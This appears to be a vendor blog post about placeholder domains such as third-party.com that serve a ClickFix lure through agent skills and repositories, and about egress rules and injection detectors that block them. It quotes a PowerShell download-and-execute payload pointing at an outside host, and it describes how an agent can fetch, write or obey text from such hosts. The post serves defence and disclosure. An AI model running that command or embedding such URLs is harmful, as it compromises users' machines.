The skill pointed at third-party.com, and third-party.com answered
Manifold Security found third-party.com, a documentation placeholder sitting in 1,500 files across 1,700 repositories including Chromium, Vercel and Brave, and inside public agent skills, serving a ClickFix lure since June. Somebody registered the domain in 1996. It hands a clean page to anything that looks like a scanner, and one blocklist flagged it and gave up ten days later. A hostname is the one dependency no lockfile has a line for, and Bromure Agentic Coding answers it with a list of the places the workspace may call.
A dependency you audit has a version, a maintainer and a line in a lockfile. The hostname in an example URL has an owner and nothing else, and owners change their minds.
You ask the agent to lazy-load a widget. It loads a skill you installed months
ago, reads the Liquid snippet the skill offers as the reference implementation,
and the snippet's src is https://third-party.com/widget.js.
You read that as a blank to fill in. The agent reads a hostname that resolves, a server that answers, and an owner who decides what the answer is. Placeholder is a convention among people writing documentation for other people. It is not a property of the string.
The domain in 1,700 repositories
On September 23, Ax Sharma and Cody Nash at Manifold Security published an
analysis
of third-party.com, a domain most developers know as filler.
The Hacker News covered it the next day.
Since at least June 2026 the domain has served a ClickFix lure: the page puts a
command on your clipboard, then asks you to paste it somewhere that runs it.
One sentence from the write-up carries the premise: "Unlike example[.]com,
third-party[.]com is not IANA-reserved. Anyone could register it, and someone
did." Somebody registered it in 1996 through Network Solutions, and it has
changed hands like any other domain since, with thirty years of clean history
behind it.
A GitHub code search returns more than 1,500 files across more than 1,700
repositories. Manifold names Chromium, Sanity, Vercel, Brave and HackTricks
among them. And third-party.com has company: The Hacker News counts thirteen
more non-reserved placeholders now serving scareware, fake security warnings and
investment scams, among them yourdomain.com, yoursite.com, myapp.com,
acme.com, company.com and vendor.com, across hundreds of thousands of
GitHub files and hundreds of agent skills.
A Windows browser gets a fake Cloudflare verification page. JavaScript writes to the clipboard through a hidden textarea and a hijacked copy event, and the page tells you to press Win+R, then Ctrl+V, then Enter. Deobfuscated, the clipboard holds:
powershell "Write-Host(&{iex(irm('elxxvvx[.]xyz/f'))})2>$null"
irm fetches a script over HTTPS, iex runs it in memory, and 2>$null
swallows the errors. The page appends a decoy string, "Security check, I'm not a
robot, Verification ID" and some digits, so the Run dialog shows something close
to what the page asked for.
It hands a clean page to anything that checks
The payload matters less than the selection. The server picks who sees it, per request.
Manifold, verbatim: "Query this domain from a datacenter range, from a Linux crawler, from anything that is not the intended victim, and it hands back a clean page." A Mac gets a refusal: "macOS is not supported. This website requires a Windows PC to access." The lure fires for the visitor the operator wrote it for.
IPFire's blocklist flagged the domain on July 7, 2026 and de-listed it ten days later, on July 17. Whoever maintains that list could not reproduce the malicious response, because the server does not serve it to them. Three months on, the domain is live, still cloaked, and still sitting in 1,700 repositories.
Reputation feeds have nothing to carry here, and there is no advisory to subscribe to. Nobody compromised this domain. Somebody owns it.
The carriers include your agent's skills
Manifold went looking in the places agents read and found the string in three public skills.
shopify-expert, in jeffallan/claude-skills (around 11,000 stars), uses it in
a Liquid snippet for lazy-loading a third-party widget. alova-server-usage, in
alovajs/skills, uses it in an OAuth gateway example. And
dynamic-dashboard-builder from ClawHub uses it inside a block labelled "Wrong:
Hardcoded endpoint, NEVER do this."
That cautionary example is a live URL. Three tool calls later, when the model writes the code, it has to carry the don't-do-this frame along with the string, and the string looks the same either way.
A documentation hostname reaches the network three ways, and one session can run all three:
- It fetches it. Skills and MCP server docs are full of endpoints, and an agent that is checking whether a snippet works resolves them. Whatever comes back arrives in the model's context as ordinary tool output.
- It writes it. The snippet lands in your source, the diff passes review,
and the
srcattribute nobody read ships to your users' browsers. Manifold documents the lure firing on Windows browsers, which is what a good share of those users run. - It reads instructions from it. ClickFix addresses whoever is reading. Today's version targets a person at a Windows keyboard, and a Linux agent gets the "not supported" page. The server already fingerprints its callers and serves three different replies. A fourth reply, for clients that look like agents, costs the operator one configuration line.
A placeholder is a dependency nobody declared
Supply-chain tooling works on artifacts with identities. A package has a name, a version, a registry, a publish date and a maintainer, so you can pin it, age-gate it, check its provenance and diff it against last week. A hostname in a comment has one of those properties: an owner. No tool in your pipeline resolves it, records it, or tells you when it changes hands. The control that reaches a placeholder has to sit on connections rather than artifacts.
Inside a Bromure workspace
In Bromure Agentic Coding, outbound traffic from a workspace is an ordered rule
table. Rules match top to bottom, first match wins, and a segmented Unmatched
traffic control sets the default to Allow or Deny. Each rule carries an
action, a protocol (tcp, udp, web or any), a host or CIDR, ports, and for
web rules a list of HTTP methods. Hostnames suffix-match, so
example.com covers the apex and every subdomain. The canonical form is one rule
per line, ending in default allow or default deny:
allow tcp github.com:443
allow tcp registry.npmjs.org:443
allow web api.yourcompany.internal GET,POST
default deny
A hostname that exists as a typographic convention is not on that list. You wrote
the list from the places the work reaches, and filler strings do not appear in
that set. The workspace never has to learn that third-party.com is hostile,
which helps, because no feed says so. It has to see one thing: third-party.com
is not github.com.
Your Mac enforces the ruleset twice. The virtual network switch matches each flow
by destination IP and DNS-snooped hostname, across TCP and UDP, and the host
proxy matches again by TLS server name and, for web rules, by individual HTTP
method. The switch diverts the VM's port-80 and port-443 traffic into the proxy
with no environment variable involved and nothing the guest can unset. Rule edits
reach running sessions at once, so you can tighten a workspace without restarting
an agent halfway through a task.
The Firewall row reaches your diff
Blocking the connection ends the fetch. Getting the string out of your source takes the row.
Each firewall verdict lands in the Security Timeline window as a Firewall
entry (the manual's own example row reads evil.example:443 tcp — blocked), in
one chronological table alongside credential swaps, supply-chain decisions,
guardrail enforcements and prompt-injection hits, colour-coded and filterable.
The first time anything in the session resolves a hostname you did not list, that
hostname is on your screen with a timestamp and the workspace it came from. You
go back to the diff, find the src attribute, and fix it before the branch
merges. Egress alone cannot reach that half of the story, because in the
write-it case somebody else's browser makes the dangerous request, weeks later.
Two more controls sit in the path, and both are worth turning on.
The prompt-injection detectors score untrusted content on its way to the
model, meaning file contents, web pages, and tool output carried in tool_result
blocks, with a local Prompt Guard classifier that runs on-device and sends
nothing off the Mac. ClickFix text is an instruction addressed to whoever reads
it, which is the shape that classifier was trained on. It runs in the host proxy,
where an agent in the VM cannot turn it off, and you pick what a hit does: log
it, pause and show you the flagged text, or refuse the request with an HTTP 451
the model never sees.
The wire boundary covers the case where a doc talks the agent into authenticating to the placeholder. No file, environment variable or process inside the VM holds a real API key, OAuth token, AWS secret or SSH private key. The guest gets a structure-preserving fake, and the host swaps in the real value for the one host that credential was minted for. The proxy scans the headers and body of every outbound request for those fakes with an Aho-Corasick automaton. One headed somewhere it does not belong gets HTTP 451 with not a byte forwarded, pauses the VM, writes a red Credential brokering row, and marks the workspace compromised, so your next launch offers to wipe its disk and home while keeping your tokens and settings.
Reserve your placeholders
example.com, example.org, example.net and the .example TLD are
IANA-reserved, and nobody can buy them. third-party.com, acme.com and
yourcompany.com are ordinary domains. Grep your skills, your MCP configs
and your READMEs for the ones nobody reserved.
Write the destination list once
A workspace needs a short, stable set of hosts: your forge, your registry, your model endpoint, your API. Set unmatched traffic to Deny, and the hostnames nobody thought about, placeholders included, are handled without anyone naming them.
Do not allowlist to quiet a scanner
Manifold's own recommendation. Add a domain to an allowlist so a check goes green, and you have promised to trust its owner forever, having never met them.
Read the Firewall rows
A blocked hostname you do not recognise tells you which string the agent picked up, and points you at the part of the diff where you will find it.
Somebody bought a domain
Nobody poisoned a registry here, took over a maintainer account, typosquatted a package, subverted a CI pipeline, or tricked a model. Someone bought a domain that was for sale, the way it had been for sale since 1996, and pointed it at a web server.
The industry has answered supply-chain risk by giving artifacts better identities: provenance attestations, sigstore signatures, SBOMs, pinned digests. That work is good, and it does not touch this, because the thing sitting in 1,700 repositories is a string rather than an artifact. Developers copied it out of one README and into the next for years, and it exists as a real thing for the length of one DNS lookup and one TCP connection.
Govern that moment. Give the workspace a list of the places the work goes, enforce it somewhere the agent cannot reach, and read the rows for names you did not put there. A placeholder that fails to resolve goes back to being the harmless piece of typography you took it for.